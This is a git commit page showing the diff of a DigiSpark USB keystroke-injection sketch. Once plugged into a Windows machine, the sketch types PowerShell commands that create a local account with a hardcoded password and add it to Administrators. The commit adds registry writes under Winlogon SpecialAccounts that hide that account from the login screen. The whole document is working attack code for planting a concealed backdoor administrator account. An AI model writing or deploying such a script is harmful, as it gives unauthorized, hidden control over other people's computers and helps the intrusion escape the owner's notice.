Merge pull request #33 from ekodikara/dev
Added hide option for created user
This commit is contained in:
commit
9e2ec30e57
|
@ -1,11 +1,9 @@
|
|||
//This DigiSpark script creates new local user and adds it to "Administrators" group
|
||||
//Tested on Windows 10 with English(US) keyboard layout
|
||||
//Created by Michyus
|
||||
//Created by Michyus | Edited by Elshan
|
||||
#include "DigiKeyboard.h"
|
||||
void setup() {
|
||||
}
|
||||
|
||||
void loop() {
|
||||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(0);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||
|
@ -20,7 +18,21 @@ void loop() {
|
|||
DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" "));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
/* I assumed user already have powershell - Try to hide the user account from the login screen*/
|
||||
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" "));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" "));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD "));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
/* end hide user section */
|
||||
DigiKeyboard.print("exit");
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
for(;;){ /*empty*/ }
|
||||
}
|
||||
|
||||
void loop() {
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue